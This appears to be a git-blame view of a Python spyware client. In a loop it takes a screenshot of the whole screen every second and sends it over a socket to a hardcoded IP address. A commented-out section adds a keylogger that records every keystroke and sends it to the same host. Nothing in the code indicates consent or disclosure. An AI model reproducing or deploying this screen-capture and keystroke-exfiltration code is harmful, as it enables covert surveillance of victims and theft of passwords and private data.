2021-04-19 14:37:54 +01:00
|
|
|
import socket
|
|
|
|
import os
|
|
|
|
import tkinter
|
|
|
|
from PIL import ImageGrab
|
|
|
|
import time
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
SEPARATOR = "<SEPARATOR>"
|
|
|
|
BUFFER_SIZE = 4096 # send 4096 bytes each time step
|
|
|
|
|
|
|
|
|
|
|
|
# the ip address or hostname of the server, the receiver
|
|
|
|
# the port, let's use 5001
|
|
|
|
host = "10.4.25.33"
|
|
|
|
port = 5002
|
|
|
|
|
|
|
|
# host = "0.0.0.0"
|
|
|
|
# port = 5001
|
|
|
|
|
|
|
|
# the name of file we want to send, make sure it exists
|
|
|
|
filename = "screen.jpg"
|
|
|
|
# get the file size
|
|
|
|
filesize = os.path.getsize(filename)
|
|
|
|
|
|
|
|
# create the client socket
|
2021-04-19 14:46:23 +01:00
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
2021-04-19 14:37:54 +01:00
|
|
|
print(f"[+] Connecting to {host}:{port}")
|
|
|
|
s.connect((host, port))
|
|
|
|
print("[+] Connected.")
|
|
|
|
# send the filename and filesize
|
|
|
|
#s.send("HELLO".encode())
|
|
|
|
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
|
|
|
|
|
|
|
|
|
|
|
|
def sendfile():
|
|
|
|
# start sending the file
|
|
|
|
with open(filename, "rb") as f:
|
|
|
|
while True:
|
|
|
|
# read the bytes from the file
|
|
|
|
bytes_read = f.read(BUFFER_SIZE)
|
|
|
|
if not bytes_read:
|
|
|
|
# file transmitting is done
|
|
|
|
break
|
|
|
|
# we use sendall to assure transimission in
|
|
|
|
# busy networks
|
|
|
|
s.sendall(bytes_read)
|
|
|
|
# close the socket
|
|
|
|
#s.close()
|
|
|
|
|
|
|
|
#-----------------------------------------------------------
|
|
|
|
|
|
|
|
bbox=(0,0,tkinter.Tk().winfo_screenwidth(),tkinter.Tk().winfo_screenheight())
|
|
|
|
while True:
|
|
|
|
image = ImageGrab.grab(bbox)
|
|
|
|
image.save('screen.jpg',optimize=True,quality=30)
|
|
|
|
print("screenshot taken")
|
|
|
|
sendfile()
|
|
|
|
time.sleep(1)
|
|
|
|
s.send("FILEDONE".encode())
|
|
|
|
|
|
|
|
# def on_press(key):
|
|
|
|
#
|
|
|
|
# if str(key) == 'Key.enter':
|
|
|
|
# text_file = open("data.txt", "w")
|
|
|
|
# text_file.write("\n")
|
|
|
|
# text_file.close()
|
|
|
|
# sendfile()
|
|
|
|
#
|
|
|
|
# elif str(key) == 'Key.space':
|
|
|
|
# text_file = open("data.txt", "w")
|
|
|
|
# text_file.write(" ")
|
|
|
|
# text_file.close()
|
|
|
|
# sendfile()
|
|
|
|
#
|
|
|
|
# elif str(key) == 'Key.backspace':
|
|
|
|
# print("Invalid")
|
|
|
|
#
|
|
|
|
#
|
|
|
|
# else:
|
|
|
|
# text_file = open("data.txt", "w")
|
|
|
|
# text_file.write(('{}'.format(key)).replace("'", ""))
|
|
|
|
# text_file.close()
|
|
|
|
# sendfile()
|
|
|
|
#
|
|
|
|
#
|
|
|
|
#
|
|
|
|
# def on_release(key):
|
|
|
|
#
|
|
|
|
# #print('Key {} released.'.format(key))
|
|
|
|
#
|
|
|
|
# if str(key) == 'Key.esc':
|
|
|
|
#
|
|
|
|
# print('Exiting...')
|
|
|
|
#
|
|
|
|
# return False
|
|
|
|
#
|
|
|
|
#
|
|
|
|
#
|
|
|
|
# with keyboard.Listener(
|
|
|
|
#
|
|
|
|
# on_press = on_press,
|
|
|
|
#
|
|
|
|
# on_release = on_release) as listener:
|
|
|
|
#
|
|
|
|
# listener.join()
|
|
|
|
|
|
|
|
|
|
|
|
#-----------------------------------------
|
|
|
|
|